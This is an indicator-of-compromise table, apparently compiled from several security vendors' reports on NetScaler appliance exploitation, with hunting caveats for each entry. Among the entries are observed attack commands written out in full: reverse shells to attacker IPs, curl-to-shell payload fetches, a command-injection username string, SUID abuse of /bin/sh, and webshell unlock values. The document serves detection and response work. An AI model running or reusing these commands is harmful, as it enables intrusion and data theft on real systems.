IPv4104.28.247.136Unit 42 (Palo Alto Networks) [153]Requested .deb webshell files 9-11 Sep; GetUserName stream (Cloudflare WARP)Cloudflare WARP egress address, shared by very many ordinary Cloudflare WARP / 1.1.1.1 users. Never block it and never import it into an IoC feed; use it only to correlate timing within your own logs.Public blog, no TLP marking
IPv4104.28.215.136Unit 42 (Palo Alto Networks) [153]Requested .deb webshell files 9-11 Sep; GetUserName stream (Cloudflare WARP)Cloudflare WARP egress address, shared by very many ordinary Cloudflare WARP / 1.1.1.1 users. Never block it and never import it into an IoC feed; use it only to correlate timing within your own logs.Public blog, no TLP marking
IPv4104.28.247.137Unit 42 (Palo Alto Networks) [153]GetUserName request stream 10-27 Sep (Cloudflare WARP)Cloudflare WARP egress address, shared by very many ordinary Cloudflare WARP / 1.1.1.1 users. Never block it and never import it into an IoC feed; use it only to correlate timing within your own logs.Public blog, no TLP marking
SHA-256ae22ef2517b5c0fb47f78745b9cb5260acee0e751b89bcd354640ff8bc8d29ecUnit 42 (Palo Alto Networks) [153]nsg64.deb PHP webshell: RC4-encrypted C2 with exec, upload and file exfiltration; privilege escalation through the legitimate SUID binary /var/netscaler/.ns_suidcmdUnit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw.Public blog, no TLP marking
SHA-2561bd314b661396c7086f6367fbbb48025e03ca2de69c073d53a8b0a38aa5fbb7dUnit 42 (Palo Alto Networks) [153]Text of Unit 42 Figure 1 (Base64 payload)Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. Hash of a text file reproducing the figure, so it will not match on-disk artefacts.Public blog, no TLP marking
SHA-25679c65fa04541032e251fa4796b97800374b63c7982593dd1a2e0db605d429186Unit 42 (Palo Alto Networks) [153]Text of Unit 42 Figure 2 (decoded shell script)Unit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. Hash of a text file reproducing the figure, so it will not match on-disk artefacts.Public blog, no TLP marking
URI path/vpn/scripts/linux/nsg64.debUnit 42 (Palo Alto Networks) [153].deb webshell name requested 4-24 SepUnit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw.Public blog, no TLP marking
URI path/vpn/scripts/linux/nsgser18.debUnit 42 (Palo Alto Networks) [153].deb webshell name requested 4-24 SepUnit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw.Public blog, no TLP marking
URI path/vpn/scripts/linux/nsgsupport.debUnit 42 (Palo Alto Networks) [153].deb webshell name requested 4-24 SepUnit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw.Public blog, no TLP marking
URI path/vpn/scripts/linux/nsgpackage64.debUnit 42 (Palo Alto Networks) [153].deb webshell name requested 4-24 SepUnit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw.Public blog, no TLP marking
URI path/vpn/scripts/linux/nsgbuild.debUnit 42 (Palo Alto Networks) [153].deb webshell name requested 4-24 SepUnit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw.Public blog, no TLP marking
URI path/logon/LogonPoint/Authentication/GetUserNameUnit 42 (Palo Alto Networks) [153]Continuous request stream 10-27 Sep; Unit 42 believes any activity to this path is anomalousUnit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw.Public blog, no TLP marking
URI path/admin_ui/common/css/ns/ui.cssUnit 42 (Palo Alto Networks) [153]Requested 21-22 Aug for version fingerprintingLegitimate NetScaler file used for fingerprinting, not an IoC on its own. Hunt for requests from the listed IPs or unusual sources.Public blog, no TLP marking
URI path/vpn/js/rdx/core/lang/rdx_en.json.gzUnit 42 (Palo Alto Networks) [153]Requested 21-22 Aug for version fingerprintingLegitimate NetScaler file used for fingerprinting, not an IoC on its own. Hunt for requests from the listed IPs or unusual sources.Public blog, no TLP marking
Cookie valuee826d7ddf3c85920Unit 42 (Palo Alto Networks) [153]CsrfToken value that unlocks the .ctxs.receiver webshell; the NSC_TASS cookie carries the commandUnit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw. Unit 42 calls it a per-implant password; other intrusions may use other tokens.Public blog, no TLP marking
RC4 key7489a0f93c67fa5cdaeb4b921d90594dUnit 42 (Palo Alto Networks) [153]nsg64.deb C2 key: MD5 of the hard-coded passphrase Rhfajaf1H992; operators authenticate with the k parameterUnit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw.Public blog, no TLP marking
Commandchmod 6555 /bin/shUnit 42 (Palo Alto Networks) [153]First step of the decoded .ctxs.receiver installer: sets SUID and SGID on /bin/shUnit 42 incident observation. The actor rotated infrastructure, so values may be specific to the victims Unit 42 saw.Public blog, no TLP marking
IPv445.76.34.141Sygnia [73]Sygnia confidence High: observed in malicious AAA eventsSygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking.Public advisory, no TLP marking
IPv4170.64.176.26Sygnia [73]Sygnia confidence High: associated with activity in an active IR investigationSygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking.Public advisory, no TLP marking
IPv4209.250.236.77Sygnia [73]Sygnia confidence Medium: time-correlated with exploit-style activitySygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking.Public advisory, no TLP marking
IPv4138.68.21.29Sygnia [73]Sygnia confidence Medium: strong temporal and service-path correlationSygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking.Public advisory, no TLP marking
File path/var/netscaler/gui/vpn/scripts/linux/1bd8a664.sigSygnia [73]Suspicious .sig file in a web-accessible directorySygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking.Public advisory, no TLP marking
File path/netscaler/ns_gui/vpn/c88771.jsonSygnia [73]Suspicious JSON artefact in the VPN web directorySygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking.Public advisory, no TLP marking
File path/var/netscaler/logon/insight-new.jsSygnia [73]; LevelBlue SpiderLabs (THOR team) [82]Target of an attempted copy of /flash/nsconfig/ns.conf (configuration exposure)Sygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking. LevelBlue also lists it from its own THOR hunt, not independently confirmed.Public advisory, no TLP marking
File path/netscaler/ns_gui/admin_ui/e.txt, /netscaler/ns_gui/admin_ui/log.txt (and /var/netscaler/gui/admin_ui/ equivalents)Poppelgaard [75]Files the payloads write stolen data or loaders into (Gotham + Deyda, via the Poppelgaard checker v1.7): path, size and date are shown by the checker, never the contents - they can hold configuration data. Preserve and inspect them securely.Hunting lead from a compiled checker list; a file existing here can also be your own admin UI output - check size and mtime before treating it as compromise.Public GitHub repository, no TLP marking
File name80974ca9.sigSygnia [73]Artefact in a NetScaler web-accessible directorySygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking.Public advisory, no TLP marking
File nameLoginIcon.sigSygnia [73]Artefact in a NetScaler web-accessible directorySygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking.Public advisory, no TLP marking
Apache directiveAddHandler application/x-httpd-php .cssSygnia [73]Makes CSS-looking files run as PHPSygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking.Public advisory, no TLP marking
Apache directiveAddHandler application/x-httpd-php .icoSygnia [73]Makes icon-looking files run as PHPSygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking.Public advisory, no TLP marking
NetScaler log lineAAA LOGIN_FAILED: User pitboss PPE unexpectedly died NSPPE;curl http://64.94.85.67:443/update_c08937.pl | perl;# X - Client_ip 64.94.85.67 - Failure_reason "External authentication server denied access"Arctic Wolf [72]Failed login with the injected command as the username. Appliance-side line from production telemetry; the same pattern Lupovis saw in HTTP bodies on its decoys.Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. Shows the command reached the authentication logging path, not that it ran; correlate with process and file evidence.Public GitHub repository, no TLP marking
NetScaler log lineAAA LOGIN REQ: parsed data; username: <pitboss PPE unexpectedly died NSPPE;curl http://64.94.85.67:443/update_c08937.pl | perl;# X>Arctic Wolf [72]AAA parses the injected username. Appliance-side line from production telemetry; the same pattern Lupovis saw in HTTP bodies on its decoys.Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. Shows the command reached the authentication logging path, not that it ran; correlate with process and file evidence.Public GitHub repository, no TLP marking
NetScaler log lineAAAD API: sending login req to aaad for <pitboss PPE unexpectedly died NSPPE;curl http://64.94.85.67:443/update_c08937.pl | perl;# X>, factor <...>, auth type 4129Arctic Wolf [72]SSLVPN message passing the username to aaad. Appliance-side line from production telemetry; the same pattern Lupovis saw in HTTP bodies on its decoys.Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. Shows the command reached the authentication logging path, not that it ran; correlate with process and file evidence.Public GitHub repository, no TLP marking
NetScaler log lineAuthentication delegated to Packet engine for pitboss PPE unexpectedly died NSPPE;curl http://64.94.85.67:443/update_c08937.pl | perl;# X, trying to find appropriate action with bitmask 1Arctic Wolf [72]AAATM message. Appliance-side line from production telemetry; the same pattern Lupovis saw in HTTP bodies on its decoys.Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. Shows the command reached the authentication logging path, not that it ran; correlate with process and file evidence.Public GitHub repository, no TLP marking
URLhttp://31.56.197.72:9090/lulaArctic Wolf [72]; LevelBlue SpiderLabs (THOR team) [82]Payload URLArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor. LevelBlue also lists it from its own THOR hunt, not independently confirmed.Public GitHub repository, no TLP marking
URLhttp://31.56.197.72/lulaArctic Wolf [72]Payload URLArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
URLhttp://31.56.197.72/kkArctic Wolf [72]Payload URLArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
URLhttp://68.178.160.183:8899/test111Arctic Wolf [72]Payload URLArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
URLhttp://68.178.160.183:8888/testArctic Wolf [72]Payload URLArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
URLhttp://89.44.80.7:65456/exec-okArctic Wolf [72]Execution-check callbackArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
URLhttp://89.44.80.7:65456/$(id|base64 -w0)Arctic Wolf [72]Callback carrying Base64 id outputArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
URLhttp://130.94.42.226:18805/?t=<REDACTED>Arctic Wolf [72]Callback (token redacted by Arctic Wolf)Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
URLhttp://134.175.71.50:4123/1Arctic Wolf [72]Payload URLArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
URLhttp://177.4.12.11:8080/s?t=aArctic Wolf [72]Fetched with curl -sk and piped to shArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
URLhttp://177.4.12.11:8080/s?t=bArctic Wolf [72]Fetched with curl -sk and piped to shArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
URLhttp://177.4.12.11:8080/s?t=cArctic Wolf [72]Payload URLArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
URLhttps://entretiensol.com:443/api/v1/install/<REDACTED>Arctic Wolf [72]Platypus agent install, fetched with curl -fsSL --tlsv1.2 -k (path redacted by Arctic Wolf)Arctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
Command/bin/sh -i >& /dev/tcp/45.141.21.130/443 0>&1Arctic Wolf [72]Bash reverse shell, observed in the injected usernameArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
Commandnc -e /bin/sh 89.44.80.7 58963Arctic Wolf [72]Netcat reverse shell, observed in the injected usernameArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
Commandid|base64 -w0Arctic Wolf [72]Command-output exfiltration over HTTP, observed in the injected usernameArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
Commandcurl -fsSL http://153.75.82.220/download/x.sh | bashArctic Wolf [72]Remote shell script execution, observed in the injected usernameArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
Commandcurl -sk 177.4.12.11:8080/s?t=a|shArctic Wolf [72]Remote shell script execution, observed in the injected usernameArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
IPv470.172.58.168LevelBlue SpiderLabs (THOR team) [82]Source of NetScaler exploitation attemptsLevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist.Public blog, no TLP marking
IPv4162.243.36.88LevelBlue SpiderLabs (THOR team) [82]Source of NetScaler exploitation attemptsLevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist.Public blog, no TLP marking
IPv4173.40.135.209LevelBlue SpiderLabs (THOR team) [82]Source of NetScaler exploitation attemptsLevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist.Public blog, no TLP marking
IPv447.230.224.154LevelBlue SpiderLabs (THOR team) [82]Source of NetScaler exploitation attemptsLevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist.Public blog, no TLP marking
SHA-256e9fe43968c6c0955300e3bc4d7fb0b05a18570b4733aaf4f5c6f7f09be5a242cLevelBlue SpiderLabs (THOR team) [82]main.py: overwrites /var/python/bin/customsnmpd with a Python reverse shell to 45.141.21.130:443 and kills the running customsnmpdLevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist.Public blog, no TLP marking
URLhttp://64.94.85.67:443/update_result_3567cs.tgzLevelBlue SpiderLabs (THOR team) [82]Upload target for the archived /flash/nsconfig (attempted upload; LevelBlue does not confirm the data left)LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist.Public blog, no TLP marking
File path/tmp/update_result_3567cs.tgzLevelBlue SpiderLabs (THOR team) [82]Archive of /flash/nsconfig staged by update_c08937.pl, then deleted with the script itself; absence does not mean it did not runLevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist.Public blog, no TLP marking
File path/var/netscaler/logon/LogonPoint/.local_journalLevelBlue SpiderLabs (THOR team) [82]PHP webshell (command execution, upload, download) installed by update_c08937.plLevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist.Public blog, no TLP marking
File path/var/netscaler/logon/LogonPoint/xua.htmlLevelBlue SpiderLabs (THOR team) [82]tar archive of /flash/nsconfig written into the web directory (configuration staging)LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist.Public blog, no TLP marking
File path/var/python/bin/customsnmpdLevelBlue SpiderLabs (THOR team) [82]Overwritten by main.py with a reverse shell; unexpected modification or execution is a leadLevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist.Public blog, no TLP marking
Accountsec_monitorLevelBlue SpiderLabs (THOR team) [82]Local superuser added to /flash/nsconfig/ns.conf by update_c08937.plLevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist.Public blog, no TLP marking
URL aliasLogonUISimple.html.style.min.cssLevelBlue SpiderLabs (THOR team) [82]; eSentire TRU blog [99]CSS-looking alias (and hex variants) mapped in httpd.conf to the .local_journal webshell. eSentire gives the full form: Alias /logon/LogonPoint/css/LogonUISimple.html.style.min.css plus AliasMatch ^/logon/LogonPoint/css/LogonUISimple\.html\.style\.min\.[0-9a-f]+\.css$ (note the /css/ directory)LevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist.Public blog, no TLP marking
Log stringpitboss PPE unexpectedly died NSPPE;whoami;# XLevelBlue SpiderLabs (THOR team) [82]Command-execution test in an authentication usernameLevelBlue THOR hunt finding across its own customer environments; not independently confirmed. Use as a hunting pivot, not a blocklist.Public blog, no TLP marking
File path/var/tmp/.nsmon/.cfgArctic Wolf [72]nsmon.pl configuration valuesArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
File path/var/tmp/.nsmon/.stateArctic Wolf [72]nsmon.pl state file used to check whether a recorded process is still runningArctic Wolf observation; a subset, not exhaustive. Beaumont says this follow-up activity is unrelated to the early-September actor.Public GitHub repository, no TLP marking
URI path/logon/LogonPoint/custom/receiver.min..cssSygnia [73]Request path as listed by Sygnia (two dots), consistent with the receiver.min.<hex>.css webshell aliasSygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking.Public advisory, no TLP marking
Log stringpitboss PPE unexpectedly died NSPPE;Sygnia [73]Sygnia confidence High: new command-injection variantSygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking.Public advisory, no TLP marking
Log stringpitboss PPE missed too many heartbeats NSPPE;Sygnia [73]Sygnia confidence High: heartbeat loader variantSygnia investigation-derived, context-specific indicator, not Citrix-published. Validate ownership, NAT and direction before blocking.Public advisory, no TLP marking
IPv4195.123.233.245TENEX [74]Primary Platypus C2 node (443); entretiensol.com and white-guard.pro resolve hereTENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
IPv438.180.81.157TENEX [74]C2 node sharing the cluster certificateTENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
IPv495.133.231.109TENEX [74]C2 node sharing the cluster certificateTENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
IPv4104.200.67.56TENEX [74]C2 node sharing the cluster certificateTENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
Domainwhite-guard.proTENEX [74]Resolves to the primary C2 nodeTENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
Domaingaryvard.comTENEX [74]Listed in the cluster certificate SANs; TENEX assesses it operator-associated with moderate confidence (a SAN entry alone does not prove control)TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
Domainhickoryusedauto.comTENEX [74]Listed in the cluster certificate SANs; TENEX assesses it operator-associated with moderate confidence (a SAN entry alone does not prove control)TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
Domaingurerasfalt.comTENEX [74]Listed in the cluster certificate SANs; TENEX assesses it operator-associated with moderate confidence (a SAN entry alone does not prove control)TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
Domainrockinroyaltykids.comTENEX [74]Listed in the cluster certificate SANs; TENEX assesses it operator-associated with moderate confidence (a SAN entry alone does not prove control)TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
Domaincurrydownsrvpark.comTENEX [74]Listed in the cluster certificate SANs; TENEX assesses it operator-associated with moderate confidence (a SAN entry alone does not prove control)TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
TLS cert SHA-25638b7c597c3f33f2caa2b2de9873f15cf9cb9984b0eacb801ef4b654a96ba9bd0TENEX [74]Shared cluster certificate (subject platypus-ingress, issuer Platypus project default); ties the four C2 nodes togetherTENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
Cert URI SANplatypus://server/defaultTENEX [74]Platypus framework certificate identity scheme; hunt by pattern, not only the exact fingerprintTENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
Signing keyS8GEj/Ibzw/Zy9Z5u4saQyn0h59enf9Mk3J2m70tTMs=TENEX [74]Ed25519/minisign public key embedded in every agent build; the best cross-build pivotTENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
Build fingerprint0.1.0-SNAPSHOT-4b91c7dbTENEX [74]Newer agent build, compiled 2026-09-28TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
Build fingerprint0.1.0-SNAPSHOT-697ffe7cTENEX [74]Earlier agent build, compiled 2026-09-08, same operator signing keyTENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
SHA-256c98aee75c5e199c9b5527984ce48675d665963f7cab8ce9f2e82465de6b58727TENEX [74]; eSentire TRU blog [99]Platypus agent, freebsd/amd64 (the appliance-relevant build); eSentire TRU Cluster B: the Linux build was UPX-packed, the FreeBSD build unpacked Go; the agent was enrolled against entretiensol.com:443 with token plt_wqmnjp5jusrcpzicqa2t.gg3s7yppdptle5dyefxj in their incidentsTENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. Enrollment tokens differ per victim (TENEX); the hash is the durable pivot.Public blog, no TLP marking
SHA-25689b64bd45478e53299f9c422cbba40fac3ac0712b551b85185e38203f7f984c6TENEX [74]Platypus agent, linux/amd64 (current build)TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
SHA-256be5832f3993ff63a36100b2f7b89c8d385e20dd9d72876700e7ade9fb9e6d4cbTENEX [74]Platypus agent, UPX-packed Linux x86-64; earlier buildTENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
SHA-2560dcac605a3a0c37001552369a6a77003226b35ddee7710b554fcd0e6809a76d1TENEX [74]; Binary Defense ARC Labs [79]Platypus agent, windows/amd64. Binary Defense (12 Oct) independently recovered a Windows agent from the same C2 (entretiensol.com) as delivered: PE32+ x86-64, UPX 4.22 packed, 5,438,464 bytes - their sample carries the same fork build identity (0.1.0-SNAPSHOT-4b91c7db, built 2026-09-28 21:02 UTC, Ed25519 key S8GEj/Ibzw/...), consistent with this hash being that delivered UPX build, though Binary Defense does not print the hash itselfTENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived. Binary Defense correlation is by build identity, not a printed hash match.Public blog, no TLP marking
SHA-2563754689fafacd2ff1c50781de2027afb1a736f9dadf48767afe560fc0f10a6f0Binary Defense ARC Labs [79]Platypus fork Windows agent, unpacked, PE32+ x86-64 Go, 19,414,528 bytes (Binary Defense 12 Oct; fork-only modules internal/agent/rootesc - active privilege escalation via sudo/sudo_gtfo/rootexec/takeover - and internal/agent/selfpersist - covert persistence with watchdog, timestomping and masquerade names such as "System Health Monitor" and healthd). Sandbox run: executed cleanly, Microsoft Defender did not block it, 1 of 65 on VirusTotal at analysis time, 248 TLS + 193 HTTP enrollment attempts to the sinkhole, nothing past enrollment firedBinary Defense malware-lab hash; the fork is verified against 1,689 public Platypus commits (both modules absent upstream). A rebuild changes the hash - hunt the behavior, not only the hash.Public blog, no TLP marking
SHA-25604db3fc44c81886844ef47949d7f352953a6bf1be4866be1fb3e7e12c452e3acTENEX [74]Platypus agent, darwin/arm64TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
SHA-2562d2c2f6842982f7e1cb894ce915d39f2a9861009c7ecb1b90da803f2c3c608f4TENEX [74]Platypus agent, linux/amd64 unpacked (more stable than the packed hashes)TENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
HTTP requestPOST /api/v1/agents/enroll with Content-Type application/x-protobuf-platypus-v2TENEX [74]Platypus agent enrollment; the content type is highly distinctiveTENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
URI path/api/v1/agent/linkTENEX [74]Platypus WebSocket tasking channel over mutual TLSTENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
Network fingerprint_platypus-mesh._tcp (mDNS, UDP/5353)TENEX [74]LAN peer discovery in cleartext; the easiest way to find a second infected host on the same segmentTENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
User-Agentplatypus-agent/public-ip-probeTENEX [74]Platypus agent public-IP probeTENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
File path/netscaler.local/TENEX [74]Operator-created binary directory, not part of the stock NetScaler layoutTENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
File namens_*.plTENEX [74]Agent renamed as a NetScaler-style Perl script; the number is per install, so hunt the pattern and check contentTENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
File path/var/core/.ns-cache/ (client.crt, client.key, agent.lock, state.db)TENEX [74]Agent working directory; the client certificate and key exist only if enrollment completed, and they survive a firmware upgradeTENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
Usernamescanner-probeTENEX [74]Submitted to the authentication virtual server for reconnaissance just before the injection attemptsTENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
File path/.xTENEX [74]Stager written by the injected shell-loader command and then run with shTENEX incident observation, recovered from the operator's own servers. Appliance telemetry showed the injection reaching the handler, not that commands ran. The operator rebuilds, so hashes are short-lived.Public blog, no TLP marking
IPv4199.233.217.13TENEX [74]; Rapid7 [86]Check-in over TCP/8080 (/hi, /hi/<ip>) and a netcat reverse shell to TCP/8000 (TENEX opportunistic wave). Rapid7's incident analysis lists the same address in its network indicators as payload deliveryNow multi-source: TENEX plus first-hand Rapid7 IR.Public blog, no TLP marking
IPv4130.94.20.222TENEX [74]; Rapid7 [86]Silent beacon to :8888/c/<hex> (TENEX opportunistic wave). Rapid7's incident analysis lists the same address in its network indicators as payload deliveryNow multi-source: TENEX plus first-hand Rapid7 IR.Public blog, no TLP marking
Commandnc 199.233.217.13 8000 -e /bin/shTENEX [74]Netcat reverse shellTENEX opportunistic wave after the public PoC; unattributed commodity tooling, not tied to the Platypus operator.Public blog, no TLP marking
Commandcurl http://199.233.217.13:8080/hi/TENEX [74]Attacker check-in to fresh infrastructureTENEX opportunistic wave after the public PoC; unattributed commodity tooling, not tied to the Platypus operator.Public blog, no TLP marking
Commandcurl -m 8 -sk http://130.94.20.222:8888/c/<hex> -o /dev/nullTENEX [74]Silent beacon that confirms reachability without saving outputTENEX opportunistic wave after the public PoC; unattributed commodity tooling, not tied to the Platypus operator.Public blog, no TLP marking
Commandbash -c $(curl -fsSL https://gsocket.io/y)TENEX [74]One-line Global Socket Toolkit deploy with an S=<hex> key. gsocket.io is a legitimate service abused here, so do not block the domainTENEX opportunistic wave after the public PoC; unattributed commodity tooling, not tied to the Platypus operator.Public blog, no TLP marking
Commandwhoami; id>/netscaler/ns_gui/vpn/id009.txt; id>/netscaler/ns_gui/id009.txtTENEX [74]Execution check that writes id output to a web-readable appliance pathTENEX opportunistic wave after the public PoC; unattributed commodity tooling, not tied to the Platypus operator.Public blog, no TLP marking
